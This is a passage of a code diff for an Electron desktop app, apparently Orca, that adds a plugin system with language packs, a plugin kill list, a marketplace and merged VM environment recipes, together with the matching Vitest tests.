...(args.projectId ? { projectId: args.projectId } : {}),
|
||||
...(args.workspaceId ? { workspaceId: args.workspaceId } : {}),
|
||||
|
|
|
|||
|
|
@ -17,11 +17,18 @@ import {
|
|||
UI_LANGUAGE_KOREAN,
|
||||
UI_LANGUAGE_SPANISH
|
||||
} from '../../shared/ui-language'
|
||||
import { ensureMainI18n, setMainUiLanguage, translateMain } from './main-i18n'
|
||||
import {
|
||||
ensureMainI18n,
|
||||
setMainPluginLanguagePacks,
|
||||
setMainUiLanguage,
|
||||
translateMain
|
||||
} from './main-i18n'
|
||||
import { pluginLanguageResourceId } from '../../shared/plugins/plugin-language-pack-artifact'
|
||||
|
||||
describe('main-i18n lazy locale loading', () => {
|
||||
beforeEach(async () => {
|
||||
await ensureMainI18n()
|
||||
setMainPluginLanguagePacks([])
|
||||
await setMainUiLanguage(UI_LANGUAGE_ENGLISH)
|
||||
})
|
||||
|
||||
|
|
@ -58,4 +65,24 @@ describe('main-i18n lazy locale loading', () => {
|
|||
await setMainUiLanguage(UI_LANGUAGE_ENGLISH)
|
||||
expect(translateMain('menu.file', 'File')).toBe('File')
|
||||
})
|
||||
|
||||
it('loads a contributed catalog for native menus and dialogs', async () => {
|
||||
const id = 'plugin:orca-samples.portuguese/pt-BR' as const
|
||||
setMainPluginLanguagePacks([
|
||||
{
|
||||
id,
|
||||
resourceLanguage: pluginLanguageResourceId(id),
|
||||
pluginKey: 'orca-samples.portuguese',
|
||||
locale: 'pt-BR',
|
||||
catalog: { menu: { file: 'Arquivo Orca' } }
|
||||
}
|
||||
])
|
||||
|
||||
await setMainUiLanguage(id)
|
||||
expect(translateMain('menu.file', 'File')).toBe('Arquivo Orca')
|
||||
|
||||
setMainPluginLanguagePacks([])
|
||||
expect(await setMainUiLanguage(id)).toBe('en')
|
||||
expect(translateMain('menu.file', 'File')).toBe('File')
|
||||
})
|
||||
})
|
||||
|
|
|
|||
|
|
@ -9,10 +9,13 @@ import i18next, {
|
|||
import { isPseudoLocalizationLocale, pseudoLocalizeString } from '../../shared/pseudo-localization'
|
||||
import { DEFAULT_UI_LOCALE, resolveUiLocale, type SupportedUiLocale } from '../../shared/ui-locale'
|
||||
import { UI_LANGUAGE_SYSTEM, type UiLanguage } from '../../shared/ui-language'
|
||||
import type { PluginLanguagePackRegistration } from '../../shared/plugins/plugin-language-pack-artifact'
|
||||
|
||||
export const mainI18n: I18nInstance = i18next.createInstance()
|
||||
|
||||
let initialized = false
|
||||
let pluginLanguagePacks: readonly PluginLanguagePackRegistration[] = []
|
||||
const registeredPluginLanguages = new Set<string>()
|
||||
|
||||
// Why: main-process callers pass English fallbacks to translateMain(), so the
|
||||
// main bundle does not need to parse any locale catalog at cold start. Only
|
||||
|
|
@ -72,16 +75,20 @@ export async function ensureMainI18n(): Promise<I18nInstance> {
|
|||
}
|
||||
})
|
||||
initialized = true
|
||||
applyMainPluginLanguagePacks()
|
||||
}
|
||||
return mainI18n
|
||||
}
|
||||
|
||||
export async function setMainUiLanguage(language: UiLanguage): Promise<SupportedUiLocale> {
|
||||
export async function setMainUiLanguage(language: UiLanguage): Promise<string> {
|
||||
await ensureMainI18n()
|
||||
const locale = resolveUiLocale(
|
||||
const selectedLocale = resolveUiLocale(
|
||||
language,
|
||||
language === UI_LANGUAGE_SYSTEM ? getMainSystemLocale() : DEFAULT_UI_LOCALE
|
||||
)
|
||||
const locale =
|
||||
pluginLanguagePacks.find((pack) => pack.id === selectedLocale)?.resourceLanguage ??
|
||||
(selectedLocale.startsWith('plugin:') ? DEFAULT_UI_LOCALE : selectedLocale)
|
||||
if (mainI18n.language !== locale) {
|
||||
// changeLanguage triggers the lazy backend load for non-English locales and
|
||||
// resolves once the catalog is in memory, so callers that await this have
|
||||
|
|
@ -91,6 +98,30 @@ export async function setMainUiLanguage(language: UiLanguage): Promise<Supported
|
|||
return locale
|
||||
}
|
||||
|
||||
function applyMainPluginLanguagePacks(): void {
|
||||
for (const language of registeredPluginLanguages) {
|
||||
mainI18n.removeResourceBundle(language, 'translation')
|
||||
}
|
||||
registeredPluginLanguages.clear()
|
||||
for (const pack of pluginLanguagePacks) {
|
||||
mainI18n.addResourceBundle(pack.resourceLanguage, 'translation', pack.catalog, true, true)
|
||||
registeredPluginLanguages.add(pack.resourceLanguage)
|
||||
}
|
||||
}
|
||||
|
||||
export function setMainPluginLanguagePacks(
|
||||
packs: readonly PluginLanguagePackRegistration[]
|
||||
): boolean {
|
||||
if (pluginLanguagePacks === packs) {
|
||||
return false
|
||||
}
|
||||
pluginLanguagePacks = packs
|
||||
if (initialized) {
|
||||
applyMainPluginLanguagePacks()
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
export function translateMain(key: string, fallback: string, options?: TOptions): string {
|
||||
// Why: menu registration can run before async init finishes in tests; fall back
|
||||
// to the English default instead of returning undefined from an uninitialized i18n.
|
||||
|
|
|
|||
|
|
@ -39,7 +39,7 @@ import { initCohortClassifier } from './telemetry/cohort-classifier'
|
|||
import { initOnboardingCohortClassifier } from './telemetry/onboarding-cohort-classifier'
|
||||
import { resolveConsent } from './telemetry/consent'
|
||||
import { triggerStartupNotificationRegistration } from './ipc/notifications'
|
||||
import { OrcaRuntimeService } from './runtime/orca-runtime'
|
||||
import { OrcaRuntimeService, type RuntimeWorktreeLifecycleEvent } from './runtime/orca-runtime'
|
||||
import { loadAgentSessionClaimSigner } from './runtime/agent-session-claim-identity'
|
||||
import { OrcaRuntimeRpcServer } from './runtime/runtime-rpc'
|
||||
import { resolveAdvertisedPairingEndpoint } from './runtime/pairing-endpoint'
|
||||
|
|
@ -49,7 +49,7 @@ import { DesktopRelayService } from './runtime/relay/desktop-relay-service'
|
|||
import type { RelayBrokerStatus } from './runtime/relay/relay-session-broker'
|
||||
import { awaitRuntimeFileWatcherUnsubscribes } from './runtime/orca-runtime-files'
|
||||
import { clearRuntimeMetadataIfOwned } from './runtime/runtime-metadata'
|
||||
import { ensureMainI18n, setMainUiLanguage } from './i18n/main-i18n'
|
||||
import { ensureMainI18n, setMainPluginLanguagePacks, setMainUiLanguage } from './i18n/main-i18n'
|
||||
import {
|
||||
getNextDefaultOnAppearanceSettingValue,
|
||||
registerAppMenu,
|
||||
|
|
@ -218,6 +218,20 @@ import { buildHeadlessAutomationWorktreeCreateArgs } from './automations/headles
|
|||
import { AgentAwakeService } from './agent-awake-service'
|
||||
import { registerSystemResumeBroadcast } from './system-resume-broadcast'
|
||||
import { settleTeardownWithinDeadline } from './quit-teardown-deadline'
|
||||
import { PluginService } from './plugins/plugin-service'
|
||||
import { PluginKillListService } from './plugins/plugin-kill-list-service'
|
||||
import { getPluginsDataDir } from './plugins/plugin-discovery'
|
||||
import { PluginMarketplaceService } from './plugins/plugin-marketplace-service'
|
||||
import { PluginMarketplaceInstaller } from './plugins/plugin-marketplace-installer'
|
||||
import { PluginBundledBootstrapCoordinator } from './plugins/plugin-bundled-bootstrap-coordinator'
|
||||
import { resolveBundledPluginRoot } from './plugins/plugin-bundled-bootstrap'
|
||||
import { resolvePluginHostEntryPath } from './plugins/plugin-host-process'
|
||||
import { applyPluginConsent, applyPluginEnablement } from './plugins/plugin-enablement'
|
||||
import { setPluginServiceForRpc } from './runtime/rpc/methods/plugins'
|
||||
import {
|
||||
normalizePluginConsents,
|
||||
normalizePluginIdList
|
||||
} from '../shared/plugins/plugin-consent-state'
|
||||
import {
|
||||
recordCoalescedCrashBreadcrumb,
|
||||
recordCrashBreadcrumb
|
||||
|
|
@ -286,7 +300,20 @@ let unsubscribeSystemResumeBroadcast: (() => void) | null = null
|
|||
let watcherShutdownPromise: Promise<void> | null = null
|
||||
let watcherShutdownDone = false
|
||||
let automations: AutomationService | null = null
|
||||
let pluginService: PluginService | null = null
|
||||
let pluginKillListService: PluginKillListService | null = null
|
||||
let pluginMarketplaceService: PluginMarketplaceService | null = null
|
||||
let pluginMarketplaceInstaller: PluginMarketplaceInstaller | null = null
|
||||
let keybindings: KeybindingService | null = null
|
||||
|
||||
function emitPluginWorktreeLifecycle(event: RuntimeWorktreeLifecycleEvent): void {
|
||||
pluginService?.emitEvent(
|
||||
event.kind === 'created' ? 'worktree.created' : 'worktree.removed',
|
||||
event.kind === 'created'
|
||||
? { worktreeId: event.worktreeId, path: event.path, branch: event.branch }
|
||||
: { worktreeId: event.worktreeId, path: event.path }
|
||||
)
|
||||
}
|
||||
// Why: a reload intent must not leak to a later load; the recovery reload re-fires did-finish-load, so its flag spares live PTYs from the orphan sweep (#5787).
|
||||
const expectedRendererReload = createWebContentsTimedFlag()
|
||||
const recoveryReloadInFlight = createWebContentsTimedFlag()
|
||||
|
|
@ -1177,7 +1204,11 @@ function openMainWindow(): BrowserWindow {
|
|||
},
|
||||
onOrcaProfileAuthMutation: () => desktopRelayService?.authMutated(),
|
||||
onBeforeOrcaProfileSignOut: () => desktopRelayService?.fenceAndCloseNow()
|
||||
}
|
||||
},
|
||||
pluginService ?? undefined,
|
||||
pluginMarketplaceService && pluginMarketplaceInstaller
|
||||
? { marketplace: pluginMarketplaceService, installer: pluginMarketplaceInstaller }
|
||||
: undefined
|
||||
)
|
||||
automations.setWebContents(window.webContents)
|
||||
automations.start()
|
||||
|
|
@ -1201,7 +1232,8 @@ function openMainWindow(): BrowserWindow {
|
|||
isRecoveryReloadInFlight,
|
||||
onBeforeUpdateQuit: () =>
|
||||
preserveAgentAuthBeforeRestart({ codexRuntimeHome, claudeRuntimeAuth, store }),
|
||||
updateInstallMode: resolveUpdateInstallMode(isServeMode)
|
||||
updateInstallMode: resolveUpdateInstallMode(isServeMode),
|
||||
onWorktreeLifecycle: emitPluginWorktreeLifecycle
|
||||
}
|
||||
)
|
||||
rateLimits.attach(window)
|
||||
|
|
@ -2229,6 +2261,137 @@ app.whenReady().then(async () => {
|
|||
prepareForCodexLaunch: prepareCodexRuntimeHomeForLaunch,
|
||||
prepareForClaudeLaunch: (target) => claudeRuntimeAuth!.prepareForClaudeLaunch(target)
|
||||
})
|
||||
const pluginSystemStartupStartedAt = performance.now()
|
||||
pluginKillListService = new PluginKillListService({
|
||||
pluginsDataDir: getPluginsDataDir(app.getPath('userData'))
|
||||
})
|
||||
await pluginKillListService.initialize()
|
||||
pluginMarketplaceService = new PluginMarketplaceService({
|
||||
pluginsDataDir: getPluginsDataDir(app.getPath('userData')),
|
||||
getKillListEntry: (pluginKey) => pluginKillListService?.find(pluginKey) ?? null
|
||||
})
|
||||
const requestOfficialMarketplaceSeed = (): void => {
|
||||
if (store?.getSettings().pluginSystemEnabled !== true) {
|
||||
return
|
||||
}
|
||||
void pluginMarketplaceService?.seedOfficialSource().catch((error) => {
|
||||
console.warn('[plugins] failed to configure the official marketplace:', error)
|
||||
})
|
||||
}
|
||||
pluginMarketplaceInstaller = new PluginMarketplaceInstaller({
|
||||
marketplace: pluginMarketplaceService,
|
||||
userDataPath: app.getPath('userData'),
|
||||
hostVersion: app.getVersion(),
|
||||
blockedPluginReason: (pluginKey) => pluginKillListService?.reason(pluginKey) ?? null
|
||||
})
|
||||
pluginService = new PluginService({
|
||||
userDataPath: app.getPath('userData'),
|
||||
hostVersion: app.getVersion(),
|
||||
// Feature flag: with the setting off, discovery returns nothing and no
|
||||
// plugin code path runs at all.
|
||||
isPluginSystemEnabled: () => store?.getSettings().pluginSystemEnabled === true,
|
||||
getDisabledPlugins: () => normalizePluginIdList(store?.getSettings().disabledPlugins),
|
||||
getPluginConsents: () => normalizePluginConsents(store?.getSettings().pluginConsents),
|
||||
getDevPluginPaths: () => normalizePluginIdList(store?.getSettings().devPluginPaths),
|
||||
getKeybindings: () => keybindings?.getOverrides() ?? {},
|
||||
getPluginKillListEntry: (pluginKey) => pluginKillListService?.find(pluginKey) ?? null,
|
||||
hostEntryPath: resolvePluginHostEntryPath(app.getAppPath(), app.isPackaged)
|
||||
})
|
||||
const bundledPluginBootstrap = new PluginBundledBootstrapCoordinator({
|
||||
root: resolveBundledPluginRoot({
|
||||
isPackaged: app.isPackaged,
|
||||
resourcesPath: process.resourcesPath,
|
||||
appPath: app.getAppPath()
|
||||
}),
|
||||
userDataPath: app.getPath('userData'),
|
||||
hostVersion: app.getVersion(),
|
||||
isEnabled: () => store?.getSettings().pluginSystemEnabled === true,
|
||||
blockedPluginReason: (pluginKey) => pluginKillListService?.reason(pluginKey) ?? null,
|
||||
refreshPlugins: () => pluginService?.refresh() ?? Promise.resolve()
|
||||
})
|
||||
const requestBundledPluginBootstrap = (): void => {
|
||||
void bundledPluginBootstrap
|
||||
.request()
|
||||
.then((result) => {
|
||||
for (const failure of result?.errors ?? []) {
|
||||
console.warn(`[plugins] failed to publish bundled ${failure.pluginKey}:`, failure.error)
|
||||
}
|
||||
})
|
||||
.catch((error) => {
|
||||
console.warn('[plugins] failed to bootstrap bundled plugins:', error)
|
||||
})
|
||||
}
|
||||
pluginKillListService.onChanged(() => {
|
||||
void pluginService?.reconcileActivationState().catch((error) => {
|
||||
console.warn('[plugins] failed to apply plugin safety-list refresh:', error)
|
||||
})
|
||||
})
|
||||
store.onSettingsChanged((updates) => {
|
||||
if (updates.pluginSystemEnabled === true) {
|
||||
requestBundledPluginBootstrap()
|
||||
requestOfficialMarketplaceSeed()
|
||||
}
|
||||
if (app.isPackaged && updates.pluginSystemEnabled === true) {
|
||||
void pluginKillListService?.refresh().catch((error) => {
|
||||
console.warn('[plugins] failed to refresh plugin safety list; using cached state:', error)
|
||||
})
|
||||
}
|
||||
})
|
||||
// Why: headless `orca serve` clients reach plugins through the runtime RPC
|
||||
// methods, which resolve the service via this module-level setter. Consent
|
||||
// over RPC uses the same hash-keyed write path as the desktop dialog.
|
||||
setPluginServiceForRpc(pluginService, {
|
||||
applyConsent: (request) =>
|
||||
applyPluginConsent({ store: store!, pluginService: pluginService!, ...request }),
|
||||
applyEnablement: (pluginKey, enabled) =>
|
||||
applyPluginEnablement({ store: store!, pluginService: pluginService!, pluginKey, enabled })
|
||||
})
|
||||
// Lazy kernel: initialize() only discovers manifests — no worker forks, no
|
||||
// panel reads. Zero plugin code runs before an explicit trigger.
|
||||
void pluginService
|
||||
.initialize()
|
||||
.then(() => {
|
||||
logStartupMilestone('plugin-system-initialized', {
|
||||
durationMs: Number((performance.now() - pluginSystemStartupStartedAt).toFixed(2)),
|
||||
installedPlugins: pluginService?.getDiscovered().length ?? 0
|
||||
})
|
||||
})
|
||||
.catch((error) => {
|
||||
console.warn('[plugins] failed to initialize plugin service:', error)
|
||||
})
|
||||
if (app.isPackaged && store?.getSettings().pluginSystemEnabled === true) {
|
||||
void pluginKillListService.refresh().catch((error) => {
|
||||
console.warn('[plugins] failed to refresh plugin safety list; using cached state:', error)
|
||||
})
|
||||
}
|
||||
pluginService.onChanged((event) => {
|
||||
if (
|
||||
event.contentPacksChanged &&
|
||||
setMainPluginLanguagePacks(pluginService?.contentPacks.languagePacks.list() ?? [])
|
||||
) {
|
||||
void setMainUiLanguage(store!.getSettings().uiLanguage).then(() => rebuildAppMenu())
|
||||
}
|
||||
for (const window of BrowserWindow.getAllWindows()) {
|
||||
if (!window.isDestroyed()) {
|
||||
window.webContents.send('plugins:changed', event)
|
||||
}
|
||||
}
|
||||
})
|
||||
requestBundledPluginBootstrap()
|
||||
requestOfficialMarketplaceSeed()
|
||||
// v0 plugin event seams: agent status (hook pipeline tap) + worktree
|
||||
// lifecycle (runtime tap). Server-side filtered per plugin subscription.
|
||||
agentHookServer.subscribeEnrichedStatus((enriched) => {
|
||||
pluginService?.emitEvent('agent.status.changed', {
|
||||
worktreeId: enriched.worktreeId ?? null,
|
||||
paneKey: enriched.paneKey,
|
||||
state: enriched.payload.state,
|
||||
receivedAt: enriched.receivedAt
|
||||
})
|
||||
})
|
||||
runtimeService.onWorktreeLifecycle((event) => {
|
||||
emitPluginWorktreeLifecycle(event)
|
||||
})
|
||||
starNag = new StarNagService(store, stats)
|
||||
starNag.start()
|
||||
starNag.registerIpcHandlers()
|
||||
|
|
@ -2577,6 +2740,16 @@ app.on('will-quit', (e) => {
|
|||
// Why: stats.flush() must precede killAllPty() so still-running agents emit synthetic agent_stop events (killAllPty skips runtime.onPtyExit()).
|
||||
starNag?.stop()
|
||||
automations?.stop()
|
||||
// Why: plugin hosts are forked children; dispose sends shutdown and
|
||||
// escalates to SIGKILL so they cannot outlive the app. The promise joins
|
||||
// the teardown barrier below — quitting before it resolves would let
|
||||
// Electron exit first and orphan the hosts.
|
||||
setPluginServiceForRpc(null)
|
||||
pluginKillListService = null
|
||||
pluginMarketplaceService = null
|
||||
pluginMarketplaceInstaller = null
|
||||
const pluginHostShutdown = pluginService?.dispose() ?? Promise.resolve()
|
||||
pluginService = null
|
||||
setUnreadDockBadgeCount(0)
|
||||
agentHookServer.stop()
|
||||
// Why: cancels relay restart/reinstall timers and kills wsl.exe children deterministically, not via stdio-pipe teardown.
|
||||
|
|
@ -2623,7 +2796,8 @@ app.on('will-quit', (e) => {
|
|||
{ name: 'daemon', promise: daemonTeardown },
|
||||
{ name: 'runtime-rpc', promise: rpcStopAndClear },
|
||||
{ name: 'watchers', promise: watcherShutdown },
|
||||
{ name: 'emulator', promise: emulatorShutdown }
|
||||
{ name: 'emulator', promise: emulatorShutdown },
|
||||
{ name: 'plugin-hosts', promise: pluginHostShutdown }
|
||||
])
|
||||
.then((pendingTeardowns) => {
|
||||
if (pendingTeardowns.length > 0) {
|
||||
|
|
|
|||
|
|
@ -26,7 +26,11 @@ export type RecipeRepoResult =
|
|||
| { ok: true; repo: Exclude<ReturnType<Store['getRepo']>, null | undefined> }
|
||||
| { ok: false; message: string; doctor: (recipeId: string) => EphemeralVmRecipeDoctorResult }
|
||||
|
||||
export function listRecipes(store: Store, repoId: string): EphemeralVmRecipeListResult {
|
||||
export function listRecipes(
|
||||
store: Store,
|
||||
repoId: string,
|
||||
pluginRecipes: readonly OrcaVmRecipe[] = []
|
||||
): EphemeralVmRecipeListResult {
|
||||
const repo = store.getRepo(repoId)
|
||||
if (!repo || isFolderRepo(repo)) {
|
||||
return {
|
||||
|
|
@ -50,12 +54,15 @@ export function listRecipes(store: Store, repoId: string): EphemeralVmRecipeList
|
|||
return {
|
||||
status: 'ok',
|
||||
repoPath: repo.path,
|
||||
recipes: hooks?.environmentRecipes ?? [],
|
||||
recipes: combineEphemeralVmRecipes(hooks?.environmentRecipes ?? [], pluginRecipes),
|
||||
diagnostics: hooks?.environmentRecipeDiagnostics ?? []
|
||||
}
|
||||
}
|
||||
|
||||
export function listRecipeCatalog(store: Store): EphemeralVmRecipeCatalogEntry[] {
|
||||
export function listRecipeCatalog(
|
||||
store: Store,
|
||||
pluginRecipes: readonly OrcaVmRecipe[] = []
|
||||
): EphemeralVmRecipeCatalogEntry[] {
|
||||
return store
|
||||
.getRepos()
|
||||
.filter((repo) => isGitRepoKind(repo) && !isFolderRepo(repo) && !repo.connectionId)
|
||||
|
|
@ -65,7 +72,7 @@ export function listRecipeCatalog(store: Store): EphemeralVmRecipeCatalogEntry[]
|
|||
repoId: repo.id,
|
||||
repoName: repo.displayName,
|
||||
repoPath: repo.path,
|
||||
recipes: hooks?.environmentRecipes ?? [],
|
||||
recipes: combineEphemeralVmRecipes(hooks?.environmentRecipes ?? [], pluginRecipes),
|
||||
diagnostics: hooks?.environmentRecipeDiagnostics ?? []
|
||||
}
|
||||
})
|
||||
|
|
@ -103,15 +110,41 @@ export function getRuntimeRecipeContext(
|
|||
if (!repo.ok) {
|
||||
throw new Error(repo.message)
|
||||
}
|
||||
const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
|
||||
(entry) => entry.id === runtime.recipeId
|
||||
)
|
||||
// Pre-snapshot runtimes can only be attributed to repo-owned recipes. Never
|
||||
// substitute a later same-id plugin recipe for an older runtime lifecycle.
|
||||
const recipe =
|
||||
runtime.recipe ??
|
||||
(loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
|
||||
(entry) => entry.id === runtime.recipeId
|
||||
)
|
||||
if (!recipe) {
|
||||
throw new Error(`Recipe not found: ${runtime.recipeId}`)
|
||||
}
|
||||
return { runtime, repo, recipe }
|
||||
}
|
||||
|
||||
export function resolveRecipeForRepo(
|
||||
repoPath: string,
|
||||
recipeId: string,
|
||||
pluginRecipes: readonly OrcaVmRecipe[] = []
|
||||
): OrcaVmRecipe | null {
|
||||
return (
|
||||
combineEphemeralVmRecipes(loadHooks(repoPath)?.environmentRecipes ?? [], pluginRecipes).find(
|
||||
(recipe) => recipe.id === recipeId
|
||||
) ?? null
|
||||
)
|
||||
}
|
||||
|
||||
/** Project-owned recipes are authoritative for their repository and shadow
|
||||
* same-id global plugin recipes without disabling the rest of the pack. */
|
||||
export function combineEphemeralVmRecipes(
|
||||
repoRecipes: readonly OrcaVmRecipe[],
|
||||
pluginRecipes: readonly OrcaVmRecipe[]
|
||||
): OrcaVmRecipe[] {
|
||||
const repoIds = new Set(repoRecipes.map((recipe) => recipe.id))
|
||||
return [...repoRecipes, ...pluginRecipes.filter((recipe) => !repoIds.has(recipe.id))]
|
||||
}
|
||||
|
||||
function failedRecipeRepo(repoPath: string | null, message: string): RecipeRepoResult {
|
||||
return {
|
||||
ok: false,
|
||||
|
|
|
|||
|
|
@ -1,6 +1,5 @@
|
|||
import { app, ipcMain } from 'electron'
|
||||
import type { Store } from '../persistence'
|
||||
import { loadHooks } from '../hooks'
|
||||
import {
|
||||
listEphemeralVmRuntimes,
|
||||
updateEphemeralVmRuntimeStatus
|
||||
|
|
@ -28,7 +27,7 @@ import {
|
|||
disconnectRuntimeOwnedSshTarget,
|
||||
removeRuntimeOwnedSshTarget
|
||||
} from '../ephemeral-vm-runtime-ssh'
|
||||
import { getRecipeRepo, getRuntimeRecipeContext } from './ephemeral-vm-recipe-context'
|
||||
import { getRuntimeRecipeContext } from './ephemeral-vm-recipe-context'
|
||||
import { invalidateRuntimeEnvironmentTransport } from './runtime-environments'
|
||||
|
||||
export type EphemeralVmCleanupCommandResult = {
|
||||
|
|
@ -74,30 +73,21 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
|
|||
if (!runtime.repoId) {
|
||||
throw new Error(`Ephemeral VM runtime has no repo id: ${args.runtimeId}`)
|
||||
}
|
||||
const repo = getRecipeRepo(store, runtime.repoId)
|
||||
if (!repo.ok) {
|
||||
let resolved: ReturnType<typeof getRuntimeRecipeContext>
|
||||
try {
|
||||
resolved = getRuntimeRecipeContext(store, userDataPath, runtime.id)
|
||||
} catch (error) {
|
||||
return updateEphemeralVmRuntimeStatus(userDataPath, runtime.id, {
|
||||
status: 'cleanup_failed',
|
||||
cleanupStatus: 'failed',
|
||||
cleanupLastAttemptAt: Date.now(),
|
||||
cleanupLastError: repo.message
|
||||
})
|
||||
}
|
||||
const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
|
||||
(entry) => entry.id === runtime.recipeId
|
||||
)
|
||||
if (!recipe) {
|
||||
return updateEphemeralVmRuntimeStatus(userDataPath, runtime.id, {
|
||||
status: 'cleanup_failed',
|
||||
cleanupStatus: 'failed',
|
||||
cleanupLastAttemptAt: Date.now(),
|
||||
cleanupLastError: `Recipe not found: ${runtime.recipeId}`
|
||||
cleanupLastError: error instanceof Error ? error.message : String(error)
|
||||
})
|
||||
}
|
||||
const result = await cleanupEphemeralVmRuntime({
|
||||
userDataPath,
|
||||
repoPath: repo.repo.path,
|
||||
recipe,
|
||||
repoPath: resolved.repo.repo.path,
|
||||
recipe: resolved.recipe,
|
||||
runtimeId: runtime.id
|
||||
})
|
||||
if (result.ok && runtime.runtimeEnvironmentId) {
|
||||
|
|
@ -217,7 +207,7 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
|
|||
|
||||
ipcMain.handle(
|
||||
'ephemeralVm:getCleanupCommand',
|
||||
(_event, args: { runtimeId: string }): EphemeralVmCleanupCommandResult => {
|
||||
async (_event, args: { runtimeId: string }): Promise<EphemeralVmCleanupCommandResult> => {
|
||||
const userDataPath = app.getPath('userData')
|
||||
const resolved = getRuntimeRecipeContext(store, userDataPath, args.runtimeId)
|
||||
const payload = buildEphemeralVmRecipeCleanupPayload({
|
||||
|
|
|
|||
|
|
@ -4,6 +4,7 @@ import { join } from 'node:path'
|
|||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import { encodePairingOffer, PAIRING_OFFER_VERSION } from '../../shared/pairing'
|
||||
import { listEnvironments } from '../../shared/runtime-environment-store'
|
||||
import { upsertEphemeralVmRuntime } from '../../shared/ephemeral-vm-runtime-store'
|
||||
|
||||
const handlers = new Map<string, (_event: unknown, args: never) => Promise<unknown> | unknown>()
|
||||
const {
|
||||
|
|
@ -92,6 +93,15 @@ function nodeCommand(scriptPath: string): string {
|
|||
return `"${process.execPath}" "${scriptPath}"`
|
||||
}
|
||||
|
||||
function pluginServiceWithRecipes(
|
||||
recipes: { pluginKey: string; recipe: Record<string, unknown> }[]
|
||||
) {
|
||||
return {
|
||||
whenReady: vi.fn().mockResolvedValue(undefined),
|
||||
contentPacks: { vmRecipes: { list: vi.fn(() => recipes) } }
|
||||
}
|
||||
}
|
||||
|
||||
describe('registerEphemeralVmHandlers', () => {
|
||||
const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
|
||||
|
||||
|
|
@ -198,6 +208,132 @@ describe('registerEphemeralVmHandlers', () => {
|
|||
])
|
||||
})
|
||||
|
||||
it('merges approved plugin recipes while repository recipes shadow matching ids', async () => {
|
||||
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
|
||||
writeFileSync(
|
||||
join(repoPath, 'orca.yaml'),
|
||||
[
|
||||
'environmentRecipes:',
|
||||
' - id: shared',
|
||||
' name: Repository Recipe',
|
||||
' create: repo-create'
|
||||
].join('\n')
|
||||
)
|
||||
const pluginService = pluginServiceWithRecipes([
|
||||
{
|
||||
pluginKey: 'orca-samples.recipes',
|
||||
recipe: { id: 'shared', name: 'Plugin Shared', create: 'plugin-shared' }
|
||||
},
|
||||
{
|
||||
pluginKey: 'orca-samples.recipes',
|
||||
recipe: { id: 'global', name: 'Plugin Global', create: 'plugin-global' }
|
||||
}
|
||||
])
|
||||
|
||||
registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
|
||||
const result = (await handlers.get('ephemeralVm:listRecipes')?.(null, {
|
||||
repoId: 'repo-1'
|
||||
} as never)) as { recipes: { id: string; name: string }[] }
|
||||
|
||||
expect(pluginService.whenReady).toHaveBeenCalled()
|
||||
expect(result.recipes).toMatchObject([
|
||||
{ id: 'shared', name: 'Repository Recipe' },
|
||||
{ id: 'global', name: 'Plugin Global' }
|
||||
])
|
||||
})
|
||||
|
||||
it('uses an immutable plugin recipe snapshot after the plugin is removed', async () => {
|
||||
const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
|
||||
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
|
||||
getPathMock.mockReturnValue(userDataPath)
|
||||
const startPath = join(repoPath, 'start.js')
|
||||
const destroyPath = join(repoPath, 'destroy.js')
|
||||
writeFileSync(
|
||||
startPath,
|
||||
`console.log(${JSON.stringify(
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
pairingCode: makePairingCode(),
|
||||
projectRoot: '/workspace/repo'
|
||||
})
|
||||
)})`
|
||||
)
|
||||
writeFileSync(destroyPath, "require('fs').writeFileSync('plugin-cleaned.txt', 'yes')")
|
||||
const registrations = [
|
||||
{
|
||||
pluginKey: 'orca-samples.recipes',
|
||||
recipe: {
|
||||
id: 'plugin-cloud',
|
||||
name: 'Plugin Cloud',
|
||||
create: nodeCommand(startPath),
|
||||
destroy: nodeCommand(destroyPath)
|
||||
}
|
||||
}
|
||||
]
|
||||
const pluginService = pluginServiceWithRecipes(registrations)
|
||||
registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
|
||||
|
||||
const provisioned = (await handlers.get('ephemeralVm:provision')?.(null, {
|
||||
repoId: 'repo-1',
|
||||
recipeId: 'plugin-cloud'
|
||||
} as never)) as { ok: true; runtime: { id: string; recipe?: { id: string } } }
|
||||
registrations.splice(0)
|
||||
const cleaned = await handlers.get('ephemeralVm:cleanup')?.(null, {
|
||||
runtimeId: provisioned.runtime.id
|
||||
} as never)
|
||||
|
||||
expect(provisioned.runtime.recipe).toMatchObject({ id: 'plugin-cloud' })
|
||||
expect(cleaned).toEqual(expect.objectContaining({ status: 'cleaned' }))
|
||||
expect(readFileSync(join(repoPath, 'plugin-cleaned.txt'), 'utf8')).toBe('yes')
|
||||
})
|
||||
|
||||
it('never substitutes a later same-id plugin recipe for a legacy runtime', async () => {
|
||||
const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
|
||||
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
|
||||
getPathMock.mockReturnValue(userDataPath)
|
||||
const pluginDestroyPath = join(repoPath, 'plugin-destroy.js')
|
||||
writeFileSync(
|
||||
pluginDestroyPath,
|
||||
"require('fs').writeFileSync('plugin-destroy-ran.txt', 'unsafe')"
|
||||
)
|
||||
upsertEphemeralVmRuntime(userDataPath, {
|
||||
id: 'legacy-runtime',
|
||||
recipeId: 'shared-id',
|
||||
repoId: 'repo-1',
|
||||
status: 'running',
|
||||
cleanupStatus: 'not_started',
|
||||
createdAt: 1,
|
||||
updatedAt: 1,
|
||||
recipeResult: {
|
||||
schemaVersion: 1,
|
||||
pairingCode: makePairingCode(),
|
||||
projectRoot: '/workspace/repo'
|
||||
}
|
||||
})
|
||||
const pluginService = pluginServiceWithRecipes([
|
||||
{
|
||||
pluginKey: 'orca-samples.recipes',
|
||||
recipe: {
|
||||
id: 'shared-id',
|
||||
name: 'Later Plugin Recipe',
|
||||
create: 'create',
|
||||
